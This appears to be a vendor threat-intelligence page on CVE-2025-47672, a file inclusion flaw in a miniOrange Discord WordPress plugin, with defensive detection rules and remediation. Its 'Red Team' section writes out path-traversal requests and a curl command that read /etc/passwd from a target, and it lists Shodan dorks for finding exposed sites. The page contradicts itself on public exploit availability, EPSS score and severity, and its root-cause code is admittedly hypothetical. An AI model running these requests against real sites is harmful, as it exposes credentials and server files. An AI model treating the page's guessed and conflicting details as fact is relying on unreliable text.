☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Miniorange logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-47672

CVE-2025-47672 Local File Inclusion in Miniorange
📅 PUBLISHED: 2025-05-23 13:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.55%
👁️
0.55% probability
13.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1083
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: India License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-47672 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the miniOrange Discord Integration WordPress plugin, versions <= 2.2.2. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or log files containing credentials. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based attack vector, though the impact is limited to confidentiality. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress administrators.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is maintained by miniOrange and is used for integrating Discord authentication and notifications into WordPress sites. As a supply chain risk, any site running this plugin is exposed until a patch is released. Administrators should monitor the plugin's update channel and consider disabling the plugin if it is not critical.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 8.1 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full file read capability.
  • Integrity Impact: None (I:N) – No file modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The lack of authentication and low complexity make this an attractive target for automated scanning and exploitation. The EPSS score of 0.0% indicates low current exploitation activity, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability exists in the miniorange-discord-integration plugin's PHP code, specifically in a function that handles file inclusion based on user-supplied input. The plugin likely uses a parameter (e.g., page, tab, or action) to dynamically include a PHP file for rendering admin pages or handling requests. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Root Cause: The plugin uses a construct similar to:

include( plugin_dir_path( __FILE__ ) . 'views/' . $_GET['page'] . '.php' );

Without proper validation of the page parameter, an attacker can supply a value like ../../../../etc/passwd%00 to include /etc/passwd (null byte injection may be required in older PHP versions, but modern PHP may still allow path traversal).

Attack Flow:

  1. Attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin.php?page=miniorange-discord-integration).
  2. Attacker crafts a request with a malicious page parameter containing path traversal.
  3. The plugin includes the attacker-specified file, outputting its contents in the response.
  4. Attacker reads sensitive files (e.g., wp-config.php for database credentials).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main file or admin handler. A typical vulnerable pattern:

Vulnerable Code (hypothetical):

// In miniorange-discord-integration.php or similar
$page = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'admin/views/' . $page . '.php' );

Patched Code (expected):

$allowed_pages = array('dashboard', 'settings', 'logs');
$page = sanitize_key( $_GET['page'] );
if ( in_array( $page, $allowed_pages ) ) {
    include( plugin_dir_path( __FILE__ ) . 'admin/views/' . $page . '.php' );
} else {
    // Default or error
}

The patch should implement a whitelist of allowed files and use sanitize_key() or basename() to prevent path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with miniOrange Discord Integration plugin <= 2.2.2 installed and activated.
  • Knowledge of the vulnerable endpoint (likely /wp-admin/admin.php?page=miniorange-discord-integration).

Exploit Steps:

  1. Identify the vulnerable parameter (e.g., page).
  2. Craft a request to include a sensitive file:
    GET /wp-admin/admin.php?page=../../../../etc/passwd%00 HTTP/1.1
    Host: target.com
    
  3. If null byte injection fails, try without null byte (modern PHP may still include the file if the path is valid):
    GET /wp-admin/admin.php?page=../../../../etc/passwd HTTP/1.1
    
  4. Read the response for file contents.

Example cURL command:

curl -v "http://target.com/wp-admin/admin.php?page=../../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing ../ or %2e%2e%2f in the page parameter.
  • Look for requests to /wp-admin/admin.php with unusual page values (e.g., ../../etc/passwd).
  • Use WAF rules to block path traversal patterns.

Hardening:

  • Disable the plugin until a patch is released.
  • If the plugin is critical, implement a custom filter to whitelist allowed page values.
  • Ensure PHP open_basedir is configured to restrict file access.
  • Use a Web Application Firewall (WAF) with rules to block LFI attempts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-admin/admin.php with page parameter containing ../ or %2e%2e%2f.
    • Unusual file paths in the page parameter (e.g., /etc/passwd, wp-config.php).
  • File System IOCs:
    • Unexpected inclusion of system files in web server logs.
    • Presence of files like /tmp/exploit.php if the attacker attempts to upload a shell.
  • Log IOCs:
    • Apache/Nginx access logs showing GET /wp-admin/admin.php?page=../../../../etc/passwd with a 200 response.
    • PHP error logs showing include(): Failed opening '../../../../etc/passwd' (if file does not exist).

Detection Engineering

YARA Rule

rule CVE_2025_47672_LFI_WordPress {
    meta:
        description = "Detects LFI attempts targeting miniOrange Discord Integration plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47672"
    strings:
        $path_traversal = /page=[^&]*\.\.\// nocase
        $sensitive_file = /page=[^&]*(etc\/passwd|wp-config\.php|\.\.\/)/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-47672 LFI Attempt on miniOrange Discord Integration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal in the page parameter targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'page=../'
            - 'page=%2e%2e%2f'
            - 'page=..%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47672 LFI Attempt - miniOrange Discord Integration"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//iU"; classtype:attempted-recon; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not essential for operations.
  2. Implement a virtual patch using a WAF to block requests containing ../ in the page parameter.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Wait for the vendor (miniOrange) to release a patched version. Check the WordPress plugin repository for updates.
  • Once a patch is available, update to the latest version immediately.
  • Consider replacing the plugin with an alternative if no patch is released.

Configuration Hardening:

  • Set open_basedir in php.ini to restrict file inclusion to the WordPress directory:
    open_basedir = /var/www/html:/tmp
    
  • Disable allow_url_include and allow_url_fopen if not needed.
  • Use a security plugin like Wordfence to add an additional layer of protection.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Discord Integration"
http.html:"miniorange-discord-integration"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-47672/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.